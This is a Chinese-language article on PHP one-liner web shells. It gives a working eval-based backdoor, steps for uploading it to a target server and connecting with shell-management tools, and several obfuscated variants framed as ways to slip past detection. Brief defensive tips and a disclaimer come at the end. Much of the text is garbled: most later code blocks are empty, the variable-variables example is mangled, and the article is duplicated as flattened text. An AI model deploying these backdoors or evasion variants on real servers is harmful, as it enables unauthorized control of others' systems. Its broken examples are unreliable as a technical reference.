浅谈php一句话木马
字数 1324 2025-08-25 22:58:46

PHP一句话木马全面解析

一、一句话木马简介

一句话木马(One-Liner Web Shell)是一种极其精简但功能强大的Web后门程序,通常仅由一行或少量代码组成。其特点包括:

  • 代码量极小(通常1-3行)
  • 功能强大,可实现完整Web Shell功能
  • 隐蔽性极佳,难以被常规检测发现
  • 可通过多种方式变形绕过安全防护

二、基础一句话木马工作原理

标准PHP一句话木马

<?php @eval($_POST['shell']);?>

工作原理分析

  1. $_POST['shell'] 接收通过HTTP POST方式传递的名为'shell'的参数
  2. eval() 函数执行接收到的字符串作为PHP代码
  3. @ 符号用于抑制错误信息输出,增强隐蔽性

使用方法

  1. 将代码写入webshell.php文件并上传至目标服务器
  2. 通过浏览器访问该文件,POST方式传入参数:shell=phpinfo();
  3. 可使用蚁剑、菜刀等工具连接:
    • URL: http://目标地址/webshell.php
    • 连接密码: shell

三、一句话木马变形技术

1. 变量函数变形

<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>
  • 使用变量存储函数名,动态调用

2. 字符串混淆变形

<?php  
$a="TR"."Es"."sA";  
$b=strtolower($a);  
$c=strrev($b);  
@$c($_POST['shell']);  
?>
  • 字符串拼接:"TR"."Es"."sA" → "TREsSA"
  • 大小写转换:strtolower("TREsSA") → "tressa"
  • 字符串反转:strrev("tressa") → "assert"

3. 大小写混淆变形

<?php  
$a="AssERT";  
$b=strtolower($a);  
@$b($_POST['shell']);  
?>
  • 使用非常规大小写组合
  • 配合strtolower函数转为小写

4. 可变变量变形

<?php
$bb="assert";
$a='bb';

$$
aa($_POST['shell']);
?>
  • `

\[aa` = `$($aa)` = `$('bb')` = `$bb` = "assert" ### 5. 自定义函数变形 ```php ``` - 通过自定义函数封装eval执行 ### 6. create_function变形 ```php ``` - 创建匿名函数执行代码 ### 7. call_user_func变形 ```php ``` - 使用回调函数执行 ### 8. Base64编码变形 ```php ``` - "YXNzZXJ0"是"assert"的Base64编码 - 解码后动态执行 ### 9. preg_replace变形 ```php ``` - 利用preg_replace的/e修饰符执行代码 ### 10. parse_str变形 ```php ``` - 通过parse_str动态创建变量 ### 11. str_replace变形 ```php ``` - 通过字符串替换构造函数名 ## 四、防御与检测建议 1. **输入验证**: - 对所有用户输入进行严格过滤 - 禁止执行用户可控的代码 2. **函数禁用**: - 在php.ini中禁用危险函数:eval, assert, create_function等 - 使用disable_functions配置 3. **WAF规则**: - 检测常见的一句话木马特征 - 监控异常的文件上传行为 4. **代码审计**: - 定期检查服务器上的可疑文件 - 关注非常规的文件修改时间 5. **日志监控**: - 监控访问日志中的异常请求 - 特别关注包含eval、assert等关键词的请求 ## 五、总结 PHP一句话木马具有极强的灵活性和隐蔽性,通过多种变形技术可以绕过常规的安全检测。安全人员需要深入了解其工作原理和变形方式,才能有效防御此类威胁。同时,开发人员应遵循安全编码规范,避免给攻击者可乘之机。 **重要提示**:本文仅用于安全研究和防御技术学习,请勿用于非法用途。未经授权使用这些技术攻击他人系统是违法行为。\]

PHP一句话木马全面解析 一、一句话木马简介 一句话木马(One-Liner Web Shell)是一种极其精简但功能强大的Web后门程序,通常仅由一行或少量代码组成。其特点包括: 代码量极小(通常1-3行) 功能强大,可实现完整Web Shell功能 隐蔽性极佳,难以被常规检测发现 可通过多种方式变形绕过安全防护 二、基础一句话木马工作原理 标准PHP一句话木马 工作原理分析 : $_POST['shell'] 接收通过HTTP POST方式传递的名为'shell'的参数 eval() 函数执行接收到的字符串作为PHP代码 @ 符号用于抑制错误信息输出,增强隐蔽性 使用方法 : 将代码写入webshell.php文件并上传至目标服务器 通过浏览器访问该文件,POST方式传入参数: shell=phpinfo(); 可使用蚁剑、菜刀等工具连接: URL: http://目标地址/webshell.php 连接密码: shell 三、一句话木马变形技术 1. 变量函数变形 使用变量存储函数名,动态调用 2. 字符串混淆变形 字符串拼接:"TR"."Es"."sA" → "TREsSA" 大小写转换:strtolower("TREsSA") → "tressa" 字符串反转:strrev("tressa") → "assert" 3. 大小写混淆变形 使用非常规大小写组合 配合strtolower函数转为小写 4. 可变变量变形 $$aa = $($aa) = $('bb') = $bb = "assert" 5. 自定义函数变形 通过自定义函数封装eval执行 6. create_ function变形 创建匿名函数执行代码 7. call_ user_ func变形 使用回调函数执行 8. Base64编码变形 "YXNzZXJ0"是"assert"的Base64编码 解码后动态执行 9. preg_ replace变形 利用preg_ replace的/e修饰符执行代码 10. parse_ str变形 通过parse_ str动态创建变量 11. str_ replace变形 通过字符串替换构造函数名 四、防御与检测建议 输入验证 : 对所有用户输入进行严格过滤 禁止执行用户可控的代码 函数禁用 : 在php.ini中禁用危险函数:eval, assert, create_ function等 使用disable_ functions配置 WAF规则 : 检测常见的一句话木马特征 监控异常的文件上传行为 代码审计 : 定期检查服务器上的可疑文件 关注非常规的文件修改时间 日志监控 : 监控访问日志中的异常请求 特别关注包含eval、assert等关键词的请求 五、总结 PHP一句话木马具有极强的灵活性和隐蔽性,通过多种变形技术可以绕过常规的安全检测。安全人员需要深入了解其工作原理和变形方式,才能有效防御此类威胁。同时,开发人员应遵循安全编码规范,避免给攻击者可乘之机。 重要提示 :本文仅用于安全研究和防御技术学习,请勿用于非法用途。未经授权使用这些技术攻击他人系统是违法行为。